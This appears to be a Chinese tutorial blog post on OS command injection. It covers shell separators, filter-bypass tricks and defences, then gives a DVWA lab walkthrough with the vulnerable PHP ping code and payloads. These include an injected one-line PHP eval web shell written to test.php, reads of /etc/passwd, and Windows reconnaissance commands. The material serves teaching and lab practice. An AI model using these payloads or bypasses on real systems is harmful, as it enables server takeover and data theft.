0x0a、基础
一、危害:控制参数,进行系统命令执行
二、原因:在程序工作的时候可能会调用一些系统执行命令函数,将我们的恶意代码输入到函数中,就造成了命令执行漏洞
三、常见的php命令执行函数
四、命令执行可能存在的地方
web源码、中间件等等
五、防御
敏感函数禁用、变量过滤或固定、waf产品
六、管道命令符
分号分割
|| && & 分割
| 管道符
\r\n %d0%a0 换行
反引号解析
$() 替换
七、常见绕过方式
1、空格绕过
< 符号 cat<123
\t / %09
${}{IFS} 其中{}用来截断,比如cat
会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
2、黑名单绕过
a=l;b=s;$a$b
base64 echo "bHM=" | base64 -d
/?in/?s => /bin/ls
连接符 cat /etc/pass'w'd
未定义的初始化变量 cat$x /etc/passwd
3、长度限制绕过
wget>foo.>comls -t>ash a
上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看)如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件
常用符号
1、命令分隔符
%0a / %0d / \n / \r
;
& / &&
2、通配符
- 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符,e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
防御
不使用时禁用相应函数
尽量不要执行外部的应用程序或命令
做输入的格式检查
转义命令中的所有shell元字符
shell元字符包括 #&;`,|*?~<>^()[]{}$\
0x0b、利用
1、low
windows命令:
whoami、 netstat -ano、 net user、ping、type、cat、dir
1、whoami/groups 命令查看我们当前的权限
2、systeminfo 命令查看系统已打的补丁
3、arp -a 查看arp缓存
4、route print 查看路由表
5、netstat -ano 查看本机所有的TCP\UDP端口以及对应的pid
6、 tasklist 查询进程信息
7、net user 查看本机用户列表8、net localgroup administrators 获取本地管理员信息
命令连接符:&&(执行command1,成功后再执行 command2)
&(执行command1 ,无论成功 都执行command2 )
||(执行command1,失败后执行command2)
|(表示将command1的输出作为command2 的输入 只打印command2 的执行结果)
漏洞分析
```php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
//php_uname()判断系统的命令,stristr查找系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
```
漏洞利用
Enter: 127.0.0.1 | dir
写入一句话木马: 127.0.0.1 | echo "<?php @eval($_POST[x]);?>" >>test.php
使用蚁剑直接连接
2.2medium漏洞分析(过滤不严格)
```php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist 过滤信息 替换&&和;
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
```
漏洞利用(low一样)
127.0.0.1&;&net user
2.3high漏洞分析
0x0c 常见命令(win&linux)及命令连接符
一、常见命令
linux bash命令
- 处理目录的常见命令
- ls(英文全拼:list files): 列出目录及文件名
- cd(英文全拼:change directory):切换目录
- pwd(英文全拼:print work directory):显示目前的目录
- mkdir(英文全拼:make directory):创建一个新的目录
- rmdir(英文全拼:remove directory):删除一个空的目录
- cp(英文全拼:copy file): 复制文件或目录
- rm(英文全拼:remove): 删除文件或目录
- mv(英文全拼:move file): 移动文件与目录,或修改文件与目录的名称
*
读取文件内容命令
Linux 中用户若对一个文件拥有 r (读)权限,便可查看该文件中的内容。常用的文件内容查看命令主要有一下几个:cat、tac、nl、more、less、head、tail,下面一一介绍。
1、cat(常用)
cat 这个命令的作用是将文件内容全部显示在屏幕上,并且是从第一行开始显示。
2、tac(常用)
tac 命令是 cat 反向写的,它们的功能也相反,作用是将文件内容全部显示在屏幕上,但是是从最后一行开始反向显示。
3、nl
nl 命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
4、more
more 命令对于比较长的内容不是全部显示到屏幕上,而是会一页一页的显示。
5、less
与 more 类似,但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
二、windows DOS命令
net user
dir:
1、whoami/groups 命令查看我们当前的权限
2、systeminfo 命令查看系统已打的补丁
3、arp -a 查看arp缓存
4、route print 查看路由表
5、netstat -ano 查看本机所有的TCP\UDP端口以及对应的pid6、 tasklist 查询进程信息
7、net user 查看本机用户列表8、net localgroup administrators 获取本地管理员信息
8、whoami/groups 命令查看我们当前的权限
2、systeminfo 命令查看系统已打的补丁
3、查看arp缓存
4、route print 查看路由表
5、netstat -ano 查看本机所有的TCP\UDP端口以及对应的pid
6、 tasklist 查询进程信息
7、net user 查看本机用户列表
8、net localgroup administrators 获取本地管理员信息
三、命令连接符
linux
;(分号)
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
eg:ping -c 4 127.0.0.1;sleep 6 //两条都是有效命令
test;sleep 6 //test无效命令,即执行失败,sleep一样执行
|(管道符)
通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
eg:ping -c 4 127.0.0.1|sleep 6
test|sleep 6
&(后台任务符号)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作
root@ubuntu: d & e & f
[1] 14271
[2] 14272
后台执行任务d和e,而在前台执行任务f. shell将作业数目显示在方括号[ ]中,同时还显示了在后台运行的每个进程的PID(process identification,进程标识)编号。在f结束后就 会立即得到一个shell提示符
&&(逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
eg:ping -c 4 127.0.0.1&&sleep 6 //sleep不执行
test&&sleep 6 //test无效命令,则sleep执行
||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行;
eg:ping -c 4 127.0.0.1||sleep 6 //都执行
test||sleep 6 //test无效命令,则sleep不执行
`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo ls -a
将会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果打印在屏幕上,这被称为命令替换
eg:ping -c 4 127.0.0.1sleep 6
$(command)
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效
eg:ping -c 4 127.0.0.1 $(sleep 6)
命令解析过程:https://blog.csdn.net/huayangshiboqi/article/details/80217150
windows服务器
| & || && 跟linux一样
shell脚本【命令解析过程】
参考网站:[**https://blog.csdn.net/huayangshiboqi/article/details/80217150
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论